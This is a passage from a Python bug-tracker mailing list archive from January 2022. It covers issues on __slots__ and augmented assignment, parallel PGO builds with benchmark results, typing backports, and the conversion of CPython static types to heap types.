I first found this in python 3.8.5, but I also tested using docker to generate the above example using docker python:3.10 which gave me python 3.10.2. Cheers! ---------- components: Library (Lib) messages: 411886 nosy: IanLee1521 priority: normal severity: normal status: open title: __slots__ updates despite being read-only type: behavior versions: Python 3.10, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 10:04:27 2022 From: report at bugs.python.org (=?utf-8?q?=C3=89ric_Araujo?=) Date: Thu, 27 Jan 2022 15:04:27 +0000 Subject: [issue46285] protocol_version in http.server.test can be ignored In-Reply-To: <1641494361.52.0.586828537376.issue46285@roundup.psfhosted.org> Message-ID: <1643295867.48.0.139252858694.issue46285@roundup.psfhosted.org> ?ric Araujo added the comment: There is no bug with partial itself. I have tried to explain this and I can?t write it in another way. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 10:09:28 2022 From: report at bugs.python.org (Dong-hee Na) Date: Thu, 27 Jan 2022 15:09:28 +0000 Subject: [issue46551] Provide number of workers option for fast PGO build time Message-ID: <1643296168.42.0.736978713671.issue46551@roundup.psfhosted.org> New submission from Dong-hee Na : Compiling CPython with the PGO option is good for CPython performance but compile time is very painful since PGO profiling is executed with a single thread. When I tested with run -m test --pgo -j8, it doesn't affect to optimized result with fast build time. so I would like to provide the option for the number of workers for PGO build. and also with this feature, we can include more PGO tests more aggressively. @vstinner, Do you have any suggestions for this option? - a: ./configure --enable-optimizations --pgo-workers=8 - b: ./configure --enable-optimizations --with-concurrent-pgo - c: ./configure --enable-optimizations (By detecting system cpu count) Following metrics is the reference for decision making :) ## Build Time AS-IS: real 4m42.799s TO-BE(this case -j8): real 2m10.405s ## No performance regression I didn't check how the environment is reliable but there looks no regression. +------------------------+---------+-----------------------+ | Benchmark | base | workers | +========================+=========+=======================+ | 2to3 | 409 ms | 412 ms: 1.01x slower | +------------------------+---------+-----------------------+ | chaos | 115 ms | 114 ms: 1.01x faster | +------------------------+---------+-----------------------+ | deltablue | 6.66 ms | 6.59 ms: 1.01x faster | +------------------------+---------+-----------------------+ | fannkuch | 605 ms | 611 ms: 1.01x slower | +------------------------+---------+-----------------------+ | float | 138 ms | 129 ms: 1.07x faster | +------------------------+---------+-----------------------+ | go | 220 ms | 215 ms: 1.02x faster | +------------------------+---------+-----------------------+ | hexiom | 10.3 ms | 10.1 ms: 1.02x faster | +------------------------+---------+-----------------------+ | json_dumps | 19.6 ms | 19.2 ms: 1.02x faster | +------------------------+---------+-----------------------+ | json_loads | 40.6 us | 39.7 us: 1.02x faster | +------------------------+---------+-----------------------+ | logging_silent | 180 ns | 173 ns: 1.04x faster | +------------------------+---------+-----------------------+ | logging_simple | 8.89 us | 8.81 us: 1.01x faster | +------------------------+---------+-----------------------+ | nqueens | 134 ms | 136 ms: 1.01x slower | +------------------------+---------+-----------------------+ | pathlib | 24.6 ms | 24.2 ms: 1.01x faster | +------------------------+---------+-----------------------+ | pickle | 16.1 us | 15.9 us: 1.01x faster | +------------------------+---------+-----------------------+ | pickle_dict | 41.4 us | 38.1 us: 1.09x faster | +------------------------+---------+-----------------------+ | pickle_list | 6.27 us | 5.09 us: 1.23x faster | +------------------------+---------+-----------------------+ | pickle_pure_python | 499 us | 492 us: 1.01x faster | +------------------------+---------+-----------------------+ | pidigits | 285 ms | 290 ms: 1.02x slower | +------------------------+---------+-----------------------+ | python_startup | 12.1 ms | 12.2 ms: 1.01x slower | +------------------------+---------+-----------------------+ | python_startup_no_site | 8.91 ms | 8.89 ms: 1.00x faster | +------------------------+---------+-----------------------+ | raytrace | 510 ms | 500 ms: 1.02x faster | +------------------------+---------+-----------------------+ | regex_compile | 211 ms | 210 ms: 1.00x faster | +------------------------+---------+-----------------------+ | regex_effbot | 4.99 ms | 4.88 ms: 1.02x faster | +------------------------+---------+-----------------------+ | regex_v8 | 37.3 ms | 36.3 ms: 1.03x faster | +------------------------+---------+-----------------------+ | richards | 73.6 ms | 72.2 ms: 1.02x faster | +------------------------+---------+-----------------------+ | scimark_fft | 542 ms | 552 ms: 1.02x slower | +------------------------+---------+-----------------------+ | scimark_lu | 189 ms | 184 ms: 1.03x faster | +------------------------+---------+-----------------------+ | scimark_monte_carlo | 106 ms | 106 ms: 1.01x slower | +------------------------+---------+-----------------------+ | scimark_sor | 199 ms | 196 ms: 1.01x faster | +------------------------+---------+-----------------------+ | spectral_norm | 177 ms | 176 ms: 1.01x faster | +------------------------+---------+-----------------------+ | unpack_sequence | 64.9 ns | 63.7 ns: 1.02x faster | +------------------------+---------+-----------------------+ | unpickle | 21.5 us | 21.6 us: 1.00x slower | +------------------------+---------+-----------------------+ | unpickle_list | 7.69 us | 7.55 us: 1.02x faster | +------------------------+---------+-----------------------+ | unpickle_pure_python | 402 us | 394 us: 1.02x faster | +------------------------+---------+-----------------------+ | xml_etree_parse | 218 ms | 217 ms: 1.01x faster | +------------------------+---------+-----------------------+ | xml_etree_iterparse | 156 ms | 156 ms: 1.01x faster | +------------------------+---------+-----------------------+ | xml_etree_generate | 132 ms | 131 ms: 1.01x faster | +------------------------+---------+-----------------------+ | xml_etree_process | 92.8 ms | 91.5 ms: 1.02x faster | +------------------------+---------+-----------------------+ | Geometric mean | (ref) | 1.02x faster | +------------------------+---------+-----------------------+ Benchmark hidden because not significant (8): logging_format, meteor_contest, nbody, pyflate, regex_dna, scimark_sparse_mat_mult, sqlite_synth, telco ---------- assignee: corona10 components: Build messages: 411888 nosy: corona10, gvanrossum, vstinner priority: normal severity: normal status: open title: Provide number of workers option for fast PGO build time type: enhancement versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 10:26:29 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Thu, 27 Jan 2022 15:26:29 +0000 Subject: [issue46550] __slots__ updates despite being read-only In-Reply-To: <1643295332.29.0.0186682990953.issue46550@roundup.psfhosted.org> Message-ID: <1643297189.0.0.126410360252.issue46550@roundup.psfhosted.org> Nikita Sobolev added the comment: It does not happen on `3.11` (main): ``` Python 3.11.0a4+ (heads/main-dirty:ef3ef6fa43, Jan 20 2022, 20:48:25) [Clang 11.0.0 (clang-1100.0.33.16)] on darwin Type "help", "copyright", "credits" or "license" for more information. >>> class A: ... __slots__ = ('x',) ... >>> A.__slots__ += ('y',) >>> A.__slots__ ('x', 'y') >>> a = A() >>> a.__slots__ ('x', 'y') >>> a.__slots__ += ('z',) Traceback (most recent call last): File "", line 1, in AttributeError: 'A' object attribute '__slots__' is read-only >>> a.__slots__ ('x', 'y') ``` It also does not happen on `3.9`: ``` Python 3.9.9 (main, Dec 21 2021, 11:35:28) [Clang 11.0.0 (clang-1100.0.33.16)] on darwin Type "help", "copyright", "credits" or "license" for more information. >>> class A: ... __slots__ = ('x',) ... >>> a = A() >>> a.__slots__ += ('y',) Traceback (most recent call last): File "", line 1, in AttributeError: 'A' object attribute '__slots__' is read-only >>> a.__slots__ ('x',) ``` ---------- nosy: +sobolevn _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 10:33:20 2022 From: report at bugs.python.org (Ian Lee) Date: Thu, 27 Jan 2022 15:33:20 +0000 Subject: [issue46550] __slots__ updates despite being read-only In-Reply-To: <1643295332.29.0.0186682990953.issue46550@roundup.psfhosted.org> Message-ID: <1643297600.21.0.943736528538.issue46550@roundup.psfhosted.org> Ian Lee added the comment: @sobolevn - Hmm, interesting.. I tested in python 3.9 which I had available, and I can reproduce your result, but I think it's different because you are using a tuple. If I use a list then I see my same reported behavior in 3.9: ```python Python 3.9.10 (main, Jan 26 2022, 20:56:53) [GCC 10.2.1 20210110] on linux Type "help", "copyright", "credits" or "license" for more information. >>> class A: ... __slots__ = ('x',) ... >>> a = A() >>> a.__slots__ ('x',) >>> a.__slots__ += ('y',) Traceback (most recent call last): File "", line 1, in AttributeError: 'A' object attribute '__slots__' is read-only >>> a.__slots__ ('x',) >>> >>> >>> >>> class B: ... __slots__ = ['x'] ... >>> b = B() >>> b.__slots__ ['x'] >>> b.__slots__ += ['y'] Traceback (most recent call last): File "", line 1, in AttributeError: 'B' object attribute '__slots__' is read-only >>> b.__slots__ ['x', 'y'] ``` ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 10:39:46 2022 From: report at bugs.python.org (Stefan Ecklebe) Date: Thu, 27 Jan 2022 15:39:46 +0000 Subject: [issue46535] Possible bug: pdb causes exception In-Reply-To: <1643196007.05.0.419885868096.issue46535@roundup.psfhosted.org> Message-ID: <1643297986.15.0.176197091484.issue46535@roundup.psfhosted.org> Change by Stefan Ecklebe : ---------- type: crash -> behavior _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 10:48:04 2022 From: report at bugs.python.org (Eryk Sun) Date: Thu, 27 Jan 2022 15:48:04 +0000 Subject: [issue46550] __slots__ updates despite being read-only In-Reply-To: <1643295332.29.0.0186682990953.issue46550@roundup.psfhosted.org> Message-ID: <1643298484.2.0.831085243821.issue46550@roundup.psfhosted.org> Eryk Sun added the comment: Please read about augmented assignment [1]. In the REPL, use help("+="). An augmented assignment evaluates the target (which, unlike normal assignment statements, cannot be an unpacking) and the expression list, performs the binary operation specific to the type of assignment on the two operands, and assigns the result to the original target. The target is only evaluated once. An augmented assignment expression like x += 1 can be rewritten as x = x + 1 to achieve a similar, but not exactly equal effect. In the augmented version, x is only evaluated once. Also, when possible, the actual operation is performed in-place, meaning that rather than creating a new object and assigning that to the target, the old object is modified instead. Unlike normal assignments, augmented assignments evaluate the left- hand side before evaluating the right-hand side. For example, a[i] += f(x) first looks-up a[i], then it evaluates f(x) and performs the addition, and lastly, it writes the result back to a[i]. --- [1] https://docs.python.org/3/reference/simple_stmts.html#augmented-assignment-statements ---------- nosy: +eryksun _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 10:51:52 2022 From: report at bugs.python.org (STINNER Victor) Date: Thu, 27 Jan 2022 15:51:52 +0000 Subject: [issue46551] Provide number of workers option for fast PGO build time In-Reply-To: <1643296168.42.0.736978713671.issue46551@roundup.psfhosted.org> Message-ID: <1643298712.11.0.937589894972.issue46551@roundup.psfhosted.org> STINNER Victor added the comment: > When I tested with run -m test --pgo -j8, it doesn't affect to optimized result with fast build time. You only test libregrtest.main and libregrtest.runtest_mp modules which don't execute code. Does it mean that running tests is useless to train the PGO? Or does PGO magically aggregates results when multiple processes are run? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 11:11:04 2022 From: report at bugs.python.org (Zachary Ware) Date: Thu, 27 Jan 2022 16:11:04 +0000 Subject: [issue7057] tkinter doc: more 3.x updates In-Reply-To: <1254697168.63.0.205098696566.issue7057@psf.upfronthosting.co.za> Message-ID: <1643299864.28.0.600686869981.issue7057@roundup.psfhosted.org> Zachary Ware added the comment: Trusting Mark's diagnosis, I'm closing the issue. ---------- nosy: +zach.ware resolution: -> out of date stage: needs patch -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 11:30:38 2022 From: report at bugs.python.org (Zachary Ware) Date: Thu, 27 Jan 2022 16:30:38 +0000 Subject: [issue10943] abitype: Need better support to port C extension modules to the stable C API In-Reply-To: <1295426330.25.0.635363870245.issue10943@psf.upfronthosting.co.za> Message-ID: <1643301038.99.0.424052089355.issue10943@roundup.psfhosted.org> Zachary Ware added the comment: Tools/scripts/abitype.py hasn't seen much maintenance in 11 years, but it also seems not to have seen much use. Patches would be accepted, but priority is low enough that I'm going to go ahead and close the issue. ---------- nosy: +zach.ware resolution: -> out of date stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 11:36:20 2022 From: report at bugs.python.org (miss-islington) Date: Thu, 27 Jan 2022 16:36:20 +0000 Subject: [issue29844] Windows Python installers not installing DLL to System32/SysWOW64 In-Reply-To: <1489831433.22.0.028475249754.issue29844@psf.upfronthosting.co.za> Message-ID: <1643301380.66.0.324668584192.issue29844@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 8.0 -> 9.0 pull_requests: +29141 pull_request: https://github.com/python/cpython/pull/30962 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 11:36:25 2022 From: report at bugs.python.org (miss-islington) Date: Thu, 27 Jan 2022 16:36:25 +0000 Subject: [issue29844] Windows Python installers not installing DLL to System32/SysWOW64 In-Reply-To: <1489831433.22.0.028475249754.issue29844@psf.upfronthosting.co.za> Message-ID: <1643301385.39.0.486879016011.issue29844@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +29142 pull_request: https://github.com/python/cpython/pull/30963 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 11:40:57 2022 From: report at bugs.python.org (Zachary Ware) Date: Thu, 27 Jan 2022 16:40:57 +0000 Subject: [issue29844] Windows Python installers not installing DLL to System32/SysWOW64 In-Reply-To: <1489831433.22.0.028475249754.issue29844@psf.upfronthosting.co.za> Message-ID: <1643301657.52.0.327773261621.issue29844@roundup.psfhosted.org> Zachary Ware added the comment: With the readme updated (and backports in progress), I'm closing the issue. ---------- nosy: -miss-islington resolution: -> fixed stage: patch review -> needs patch status: open -> closed versions: +Python 3.11 -Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 11:47:45 2022 From: report at bugs.python.org (miss-islington) Date: Thu, 27 Jan 2022 16:47:45 +0000 Subject: [issue46539] typing: forward references don't understand special type forms In-Reply-To: <1643229038.65.0.790137341824.issue46539@roundup.psfhosted.org> Message-ID: <1643302065.16.0.657355311597.issue46539@roundup.psfhosted.org> miss-islington added the comment: New changeset 37577033baadf5f4a30d0998bae7d26f11a694e2 by Miss Islington (bot) in branch '3.9': bpo-46539: Pass status of special typeforms to forward references (GH-30926) https://github.com/python/cpython/commit/37577033baadf5f4a30d0998bae7d26f11a694e2 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 11:48:12 2022 From: report at bugs.python.org (miss-islington) Date: Thu, 27 Jan 2022 16:48:12 +0000 Subject: [issue46539] typing: forward references don't understand special type forms In-Reply-To: <1643229038.65.0.790137341824.issue46539@roundup.psfhosted.org> Message-ID: <1643302092.56.0.861716854737.issue46539@roundup.psfhosted.org> miss-islington added the comment: New changeset bfcb41420a326ec353740d8180ffbf402746fa33 by Miss Islington (bot) in branch '3.10': bpo-46539: Pass status of special typeforms to forward references (GH-30926) https://github.com/python/cpython/commit/bfcb41420a326ec353740d8180ffbf402746fa33 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 11:59:18 2022 From: report at bugs.python.org (Dong-hee Na) Date: Thu, 27 Jan 2022 16:59:18 +0000 Subject: [issue46551] Provide number of workers option for fast PGO build time In-Reply-To: <1643296168.42.0.736978713671.issue46551@roundup.psfhosted.org> Message-ID: <1643302758.58.0.249236124182.issue46551@roundup.psfhosted.org> Dong-hee Na added the comment: > You only test libregrtest.main and libregrtest.runtest_mp modules which > don't execute code. Does it mean that running tests is useless to train > the PGO? Sorry, I didn't check all affects except performance regression, and there was already related discussion and decided not to do: https://bugs.python.org/issue24915#msg251128 'I think the --pgo flag needs only work in single process mode, since multi-process would probably not write out the profiling data properly.' I close the issue as won't do. ---------- assignee: corona10 -> resolution: -> rejected stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 11:59:27 2022 From: report at bugs.python.org (Zachary Ware) Date: Thu, 27 Jan 2022 16:59:27 +0000 Subject: [issue29844] Windows Python installers not installing DLL to System32/SysWOW64 In-Reply-To: <1489831433.22.0.028475249754.issue29844@psf.upfronthosting.co.za> Message-ID: <1643302767.97.0.163082609032.issue29844@roundup.psfhosted.org> Zachary Ware added the comment: New changeset a8912a0f8d9eba6d502c37d522221f9933e976db by Miss Islington (bot) in branch '3.10': bpo-29844: Remove obsolete paragraph from Tools/msi/README.txt (GH-29141) https://github.com/python/cpython/commit/a8912a0f8d9eba6d502c37d522221f9933e976db ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 11:59:46 2022 From: report at bugs.python.org (Zachary Ware) Date: Thu, 27 Jan 2022 16:59:46 +0000 Subject: [issue29844] Windows Python installers not installing DLL to System32/SysWOW64 In-Reply-To: <1489831433.22.0.028475249754.issue29844@psf.upfronthosting.co.za> Message-ID: <1643302786.85.0.874209430715.issue29844@roundup.psfhosted.org> Zachary Ware added the comment: New changeset 7c8d1f0238842fb8da099e797eea5973b66638a9 by Miss Islington (bot) in branch '3.9': bpo-29844: Remove obsolete paragraph from Tools/msi/README.txt (GH-29141) https://github.com/python/cpython/commit/7c8d1f0238842fb8da099e797eea5973b66638a9 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 12:00:46 2022 From: report at bugs.python.org (Dong-hee Na) Date: Thu, 27 Jan 2022 17:00:46 +0000 Subject: [issue46378] Experiment with LLVM BOLT binary optimizer In-Reply-To: <1642176687.21.0.496800066458.issue46378@roundup.psfhosted.org> Message-ID: <1643302846.36.0.822231613248.issue46378@roundup.psfhosted.org> Dong-hee Na added the comment: Only 1% gain, so we decided not to adopt it yet. see: https://github.com/faster-cpython/ideas/issues/224#issuecomment-1022371595 ---------- resolution: -> rejected stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 12:07:58 2022 From: report at bugs.python.org (Henry Schreiner) Date: Thu, 27 Jan 2022 17:07:58 +0000 Subject: [issue46166] Get "self" args or non-null co_varnames from frame object with C-API In-Reply-To: <1640288010.25.0.698839040509.issue46166@roundup.psfhosted.org> Message-ID: <1643303278.19.0.678282133646.issue46166@roundup.psfhosted.org> Henry Schreiner added the comment: It would be great to get this looked at before things start getting too locked in for 3.11! ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 12:14:05 2022 From: report at bugs.python.org (Jelle Zijlstra) Date: Thu, 27 Jan 2022 17:14:05 +0000 Subject: [issue44791] Substitution of ParamSpec in Concatenate In-Reply-To: <1627727114.02.0.621938171006.issue44791@roundup.psfhosted.org> Message-ID: <1643303645.9.0.755541425995.issue44791@roundup.psfhosted.org> Change by Jelle Zijlstra : ---------- nosy: +Jelle Zijlstra _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 12:33:24 2022 From: report at bugs.python.org (STINNER Victor) Date: Thu, 27 Jan 2022 17:33:24 +0000 Subject: [issue40077] Convert static types to heap types: use PyType_FromSpec() In-Reply-To: <1585238684.65.0.246012172449.issue40077@roundup.psfhosted.org> Message-ID: <1643304804.11.0.0394625340708.issue40077@roundup.psfhosted.org> STINNER Victor added the comment: I used the following shell command to search remaining static types: --- grep -E 'static PyTypeObject [a-zA-Z_0-9]+ *(;|= *{|) *$' $(find -name "*.c") --- I found 86 static types in 17 files: * PC/_msi.c: * msidb_Type * msiview_Type * record_Type * summary_Type * Modules/_ctypes/_ctypes.c: * DictRemover_Type * PyComError_Type * PyDec_Type * Simple_Type * StructParam_Type * Struct_Type * UnionType_Type * Union_Type * Modules/_decimal/_decimal.c: * PyDecContextManager_Type * PyDecContext_Type * PyDecSignalDict_Type * Modules/xxmodule.c: * Null_Type * Str_Type * Xxo_Type * Modules/_testbuffer.c: * NDArray_Type * StaticArray_Type * Modules/itertoolsmodule.c (multiphase init): * _grouper_type * accumulate_type * combinations_type * compress_type * count_type * cwr_type * cycle_type * dropwhile_type * filterfalse_type * groupby_type * pairwise_type * permutations_type * starmap_type * takewhile_type * tee_type * teedataobject_type * Modules/_xxsubinterpretersmodule.c: * ChannelIDtype * Modules/_datetimemodule.c: * PyDateTime_DateTimeType * PyDateTime_DateType * PyDateTime_DeltaType * PyDateTime_IsoCalendarDateType * PyDateTime_TZInfoType * PyDateTime_TimeType * PyDateTime_TimeZoneType * Modules/_testcapimodule.c: * ContainerNoGC_type * GenericAlias_Type * Generic_Type * MethClass_Type * MethInstance_Type * MethStatic_Type * MethodDescriptor2_Type * MethodDescriptorBase_Type * MethodDescriptorDerived_Type * MethodDescriptorNopGet_Type * MyList_Type * PyRecursingInfinitelyError_Type * _HashInheritanceTester_Type * awaitType * ipowType * matmulType * test_structmembersType * Modules/_zoneinfo.c: * PyZoneInfo_ZoneInfoType * Modules/ossaudiodev.c: * OSSAudioType * OSSMixerType * Modules/socketmodule.c: * sock_type * Modules/xxsubtype.c: * spamdict_type * spamlist_type * Modules/_collectionsmodule.c: * defdict_type * deque_type * dequeiter_type * dequereviter_type * tuplegetter_type * Modules/_elementtree.c: * ElementIter_Type * Element_Type * TreeBuilder_Type * XMLParser_Type * Modules/_pickle.c: * Pdata_Type * PicklerMemoProxyType * Pickler_Type * UnpicklerMemoProxyType * Unpickler_Type * Modules/_asynciomodule.c: * FutureIterType * FutureType * PyRunningLoopHolder_Type * TaskStepMethWrapper_Type * TaskType ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 12:39:11 2022 From: report at bugs.python.org (STINNER Victor) Date: Thu, 27 Jan 2022 17:39:11 +0000 Subject: [issue40077] Convert static types to heap types: use PyType_FromSpec() In-Reply-To: <1585238684.65.0.246012172449.issue40077@roundup.psfhosted.org> Message-ID: <1643305151.61.0.131273072762.issue40077@roundup.psfhosted.org> STINNER Victor added the comment: And I found 135 more static types with this command: --- grep -E '^PyTypeObject [a-zA-Z_0-9]+ *(;|= *{|) *$' $(find -name "*.c") --- Types: Objects/cellobject.c: PyCell_Type Objects/sliceobject.c: PyEllipsis_Type Objects/sliceobject.c: PySlice_Type Objects/unionobject.c: _PyUnion_Type Objects/methodobject.c: PyCFunction_Type Objects/methodobject.c: PyCMethod_Type Objects/picklebufobject.c: PyPickleBuffer_Type Objects/boolobject.c: PyBool_Type Objects/bytearrayobject.c: PyByteArray_Type Objects/bytearrayobject.c: PyByteArrayIter_Type Objects/classobject.c: PyMethod_Type Objects/classobject.c: PyInstanceMethod_Type Objects/fileobject.c: PyStdPrinter_Type Objects/genericaliasobject.c: Py_GenericAliasType Objects/interpreteridobject.c: _PyInterpreterID_Type Objects/iterobject.c: PySeqIter_Type Objects/iterobject.c: PyCallIter_Type Objects/iterobject.c: _PyAnextAwaitable_Type Objects/moduleobject.c: PyModuleDef_Type Objects/moduleobject.c: PyModule_Type Objects/rangeobject.c: PyRange_Type Objects/rangeobject.c: PyRangeIter_Type Objects/rangeobject.c: PyLongRangeIter_Type Objects/namespaceobject.c: _PyNamespace_Type Objects/bytesobject.c: PyBytes_Type Objects/bytesobject.c: PyBytesIter_Type Objects/capsule.c: PyCapsule_Type Objects/complexobject.c: PyComplex_Type Objects/dictobject.c: PyDict_Type Objects/dictobject.c: PyDictIterKey_Type Objects/dictobject.c: PyDictIterValue_Type Objects/dictobject.c: PyDictIterItem_Type Objects/dictobject.c: PyDictRevIterKey_Type Objects/dictobject.c: PyDictRevIterItem_Type Objects/dictobject.c: PyDictRevIterValue_Type Objects/dictobject.c: PyDictKeys_Type Objects/dictobject.c: PyDictItems_Type Objects/dictobject.c: PyDictValues_Type Objects/floatobject.c: PyFloat_Type Objects/frameobject.c: PyFrame_Type Objects/funcobject.c: PyFunction_Type Objects/funcobject.c: PyClassMethod_Type Objects/funcobject.c: PyStaticMethod_Type Objects/memoryobject.c: _PyManagedBuffer_Type Objects/memoryobject.c: PyMemoryView_Type Objects/odictobject.c: PyODict_Type Objects/odictobject.c: PyODictIter_Type Objects/odictobject.c: PyODictKeys_Type Objects/odictobject.c: PyODictItems_Type Objects/odictobject.c: PyODictValues_Type Objects/setobject.c: PySetIter_Type Objects/setobject.c: PySet_Type Objects/setobject.c: PyFrozenSet_Type Objects/setobject.c: _PySetDummy_Type Objects/tupleobject.c: PyTuple_Type Objects/tupleobject.c: PyTupleIter_Type Objects/object.c: _PyNone_Type Objects/object.c: _PyNotImplemented_Type Objects/unicodeobject.c: PyUnicode_Type Objects/unicodeobject.c: PyUnicodeIter_Type Objects/listobject.c: PyList_Type Objects/listobject.c: PyListIter_Type Objects/listobject.c: PyListRevIter_Type Objects/genobject.c: PyGen_Type Objects/genobject.c: PyCoro_Type Objects/genobject.c: _PyCoroWrapper_Type Objects/genobject.c: PyAsyncGen_Type Objects/genobject.c: _PyAsyncGenASend_Type Objects/genobject.c: _PyAsyncGenWrappedValue_Type Objects/genobject.c: _PyAsyncGenAThrow_Type Objects/longobject.c: PyLong_Type Objects/descrobject.c: PyMethodDescr_Type Objects/descrobject.c: PyClassMethodDescr_Type Objects/descrobject.c: PyMemberDescr_Type Objects/descrobject.c: PyGetSetDescr_Type Objects/descrobject.c: PyWrapperDescr_Type Objects/descrobject.c: _PyMethodWrapper_Type Objects/descrobject.c: PyDictProxy_Type Objects/descrobject.c: PyProperty_Type Objects/enumobject.c: PyEnum_Type Objects/enumobject.c: PyReversed_Type Objects/codeobject.c: _LineIterator Objects/codeobject.c: _PositionsIterator Objects/codeobject.c: PyCode_Type Objects/typeobject.c: PyType_Type Objects/typeobject.c: PyBaseObject_Type Objects/typeobject.c: PySuper_Type Python/bltinmodule.c: PyFilter_Type Python/bltinmodule.c: PyMap_Type Python/bltinmodule.c: PyZip_Type Python/context.c: PyContext_Type Python/context.c: PyContextVar_Type Python/context.c: PyContextToken_Type Python/context.c: _PyContextTokenMissing_Type Python/hamt.c: _PyHamtItems_Type Python/hamt.c: _PyHamtKeys_Type Python/hamt.c: _PyHamtValues_Type Python/hamt.c: _PyHamt_Type Python/hamt.c: _PyHamt_ArrayNode_Type Python/hamt.c: _PyHamt_BitmapNode_Type Python/hamt.c: _PyHamt_CollisionNode_Type Python/traceback.c: PyTraceBack_Type Python/symtable.c: PySTEntry_Type Modules/_ctypes/callproc.c: PyCArg_Type Modules/_ctypes/_ctypes.c: PyCStructType_Type Modules/_ctypes/_ctypes.c: PyCPointerType_Type Modules/_ctypes/_ctypes.c: PyCArrayType_Type Modules/_ctypes/_ctypes.c: PyCSimpleType_Type Modules/_ctypes/_ctypes.c: PyCFuncPtrType_Type Modules/_ctypes/_ctypes.c: PyCData_Type Modules/_ctypes/_ctypes.c: PyCFuncPtr_Type Modules/_ctypes/_ctypes.c: PyCArray_Type Modules/_ctypes/_ctypes.c: PyCPointer_Type Modules/_ctypes/cfield.c: PyCField_Type Modules/_ctypes/stgdict.c: PyCStgDict_Type Modules/_ctypes/callbacks.c: PyCThunk_Type Modules/_io/iobase.c: PyIOBase_Type Modules/_io/iobase.c: PyRawIOBase_Type Modules/_io/stringio.c: PyStringIO_Type Modules/_io/textio.c: PyTextIOBase_Type Modules/_io/textio.c: PyIncrementalNewlineDecoder_Type Modules/_io/textio.c: PyTextIOWrapper_Type Modules/_io/bytesio.c: PyBytesIO_Type Modules/_io/fileio.c: PyFileIO_Type; Modules/_io/fileio.c: PyFileIO_Type Modules/_io/winconsoleio.c: PyWindowsConsoleIO_Type; Modules/_io/winconsoleio.c: PyWindowsConsoleIO_Type Modules/_io/bufferedio.c: PyBufferedIOBase_Type Modules/_io/bufferedio.c: PyBufferedReader_Type Modules/_io/bufferedio.c: PyBufferedWriter_Type Modules/_io/bufferedio.c: PyBufferedRWPair_Type Modules/_io/bufferedio.c: PyBufferedRandom_Type Modules/_multiprocessing/semaphore.c: _PyMp_SemLockType Modules/_cursesmodule.c: PyCursesWindow_Type; Modules/_cursesmodule.c: PyCursesWindow_Type ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 12:45:12 2022 From: report at bugs.python.org (Zachary Ware) Date: Thu, 27 Jan 2022 17:45:12 +0000 Subject: [issue46390] Multiple test failures on Alpine 3.15 / musl-1.2.2-r7 In-Reply-To: <1642251384.22.0.111419838078.issue46390@roundup.psfhosted.org> Message-ID: <1643305512.7.0.299177298814.issue46390@roundup.psfhosted.org> Zachary Ware added the comment: BTW, we do have an Alpine buildbot worker in the unstable set, running only on the `main` branch: https://buildbot.python.org/all/#/workers/19 ---------- nosy: +zach.ware _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 12:46:21 2022 From: report at bugs.python.org (Mark Shannon) Date: Thu, 27 Jan 2022 17:46:21 +0000 Subject: [issue46166] Get "self" args or non-null co_varnames from frame object with C-API In-Reply-To: <1640288010.25.0.698839040509.issue46166@roundup.psfhosted.org> Message-ID: <1643305581.5.0.896445445533.issue46166@roundup.psfhosted.org> Mark Shannon added the comment: Yes, we should expose the tuple of variable names, both in Python and in the C-API. Would something like `PyCodeObject_GetVariableName()` and `PyCodeObject_GetVariableKind()` work? In the meantime, since you were reading `co_varnames` directly, why not read `co_localsplusnames` directly? OOI, how do you cope with non-local self? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 12:48:51 2022 From: report at bugs.python.org (STINNER Victor) Date: Thu, 27 Jan 2022 17:48:51 +0000 Subject: [issue40077] Convert static types to heap types: use PyType_FromSpec() In-Reply-To: <1585238684.65.0.246012172449.issue40077@roundup.psfhosted.org> Message-ID: <1643305731.67.0.478310345545.issue40077@roundup.psfhosted.org> STINNER Victor added the comment: > And I found 135 more static types with this command Of these 135 static types, most are cleared since bpo-46417 was implemented: * 103 types are cleared by _PyTypes_FiniTypes() * 15 types are cleared by _PyIO_Fini() * the remaining 17 types are not cleared at Python exit: types of _ctypes, _curses and _multiprocessing extensions ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 12:53:31 2022 From: report at bugs.python.org (Eric Snow) Date: Thu, 27 Jan 2022 17:53:31 +0000 Subject: [issue46166] Get "self" args or non-null co_varnames from frame object with C-API In-Reply-To: <1640288010.25.0.698839040509.issue46166@roundup.psfhosted.org> Message-ID: <1643306011.26.0.250997037663.issue46166@roundup.psfhosted.org> Eric 